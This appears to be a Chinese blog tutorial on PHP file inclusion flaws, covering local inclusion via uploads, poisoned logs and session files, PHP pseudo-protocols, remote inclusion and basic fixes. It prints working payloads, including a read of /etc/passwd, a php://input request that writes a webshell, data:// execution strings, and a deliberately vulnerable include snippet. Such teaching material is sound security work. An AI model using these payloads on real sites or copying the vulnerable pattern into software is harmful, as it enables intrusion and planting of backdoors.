文件包含漏洞

一、漏洞原理

比如数据库连接单独存放在一个文件mysqli.php,其他文件需要用到数据库连接时直接调用mysqli.php文件,如果不是固定文件,而是用参数调用文件就会导致文件包含。

下面是常用语言的包含文件函数

PHP:include、require、include_once、require_once等

JAVA:java.io.File、java.io.FileReader等

ASP.NET:System.IO.FileStream、System.IO.StreamReader等

二、漏洞利用

包含的文件会以当前文件的语言来执行。

1. 本地文件包含

(一) 通过上传文件利用

通过本地的文件来执行,或者有上传点通过上传文件后就行利用。

复制代码
<?php
include($_GET['file']); 
?>
利用file传参包含文件

如果没有上传点,还有很多方法,下面三种是常用的,尤其是伪协议

(二) 日志文件

通过访问日志写入利用代码,比如日志会读取UA信息,我们修改UA信息为恶意代码,再通过文件包含日志文件就造成了危害。

抓包修改

(三) session文件

就是采取了session的验证,session会存储到本地的文件中,我们通过修改session值后访问存储到session的本地文件就可以造成文件包含,但是有些session值采取的是临时存储,这个时候就会用到条件竞争(条件竞争这里我后面会用CTF的案列写出来,这里就展示一下session的利用)

这里是用websec传参作为session值

这个就是session值的文件名我们直接利用本地包含这个文件就可以了

(四) 伪协议

每种语言的伪协议都不一样,利用条件也不一样

1. 文件读取

file:///etc/passwd

php://filter/read=convert.base64-encode/resource=phpinfo.php

这个是进行了bas64加密了的

2. 文件写入

php://filter/write=convert.base64-encode/resource=phpinfo.php

复制代码
<?php
include($_GET['file']);
file_put_contents($_GET['file'],$_POST['content']);
?>

php://input POST:<?php fputs(fopen('shell.php','w'),'<?php @eval($_GETcmd); ?>'); ?>

3. 文件执行

php://input POST:<?php phpinfo();?>

data://text/plain,<?php phpinfo();?>

data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

2. 远程文件包含

我们直接在自己的服务器上写自己需要构建的代码就可以了,需要打开allow_url_include这个配置

我用kali当作另一台服务器

自己服务器上的文件随便怎么写,写一句话木马也可以

三、漏洞修复

过滤关键字,比如../../等

设置白名单

关闭allow_url_fopen 和 allow_url_include两个共功能

固定包含文件,不要被用户可控

相关推荐
sbjdhjd几秒前
PHP RCE 多层绕过实战:关键字过滤、空格替换与 php://filter 伪协议 | 02
网络·安全·web安全·网络安全·云计算·安全架构·rce
我星期八休息14 分钟前
软件测试—从认识到BUG
考研·安全·bug
金立基胶粘32 分钟前
纸袋热封胶是什么?它的特点与应用有哪些?
大数据·安全
黎阳之光2 小时前
AI黑光相机|赋能低空全域感知,筑牢低空经济全天候视觉防线
人工智能·物联网·算法·安全·数字孪生
木卫四科技2 小时前
Agent Supply Chain Security:MCP、Skills 与 AI Agent 软件供应链安全新边界 | 木卫四科技
大数据·人工智能·安全·ai-bom·robot security·机器人安全·具身安全
一次旅行2 小时前
2026‑09‑05 AI产业深度解读|Claude 11天验证费马大定理、智能体Wiki通信逃逸、GPT-6 Astra安全攻防升级
人工智能·gpt·安全
Fnetlink111 小时前
Fnet 云网安 260904
网络·人工智能·安全·web安全·网络安全
志栋智能12 小时前
安全超自动化如何支持大规模安全运营?
网络·安全·自动化
安科瑞黄益鸣13 小时前
筑牢高压直流安全防线:AIM‑T500L 绝缘监测仪在算力中心 DC800V 系统的应用
安全
HugoStudio_SWAN13 小时前
洛谷 B4500 / B4449 / B3843 凯撒密码、密码强度与密码合规——加密与安全的三道门
c++·学习·程序人生·算法·安全